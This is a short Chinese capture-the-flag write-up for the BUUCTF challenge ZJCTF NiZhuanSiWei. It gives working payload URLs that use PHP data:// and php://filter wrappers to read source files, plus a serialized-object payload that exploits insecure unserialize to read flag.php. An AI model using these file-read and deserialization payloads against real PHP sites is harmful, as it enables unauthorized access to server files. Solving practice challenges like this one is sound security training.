ZJCTF-NiZhuanSiWei - 码农教程

题目地址:buuctf

首先要满足传入一个text文件，使文件内容为welcome to the zjctf，可以用php://input伪协议

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

接下来过滤了flag，并且提示有个useless.php文件，使用php://filter协议读取

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码得道useless.php的内容

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

然后序列化

<?php  
class Flag{
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
} 
$password=new Flag();
$password = serialize($password);
echo $password; 
?>

得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

源代码得到flag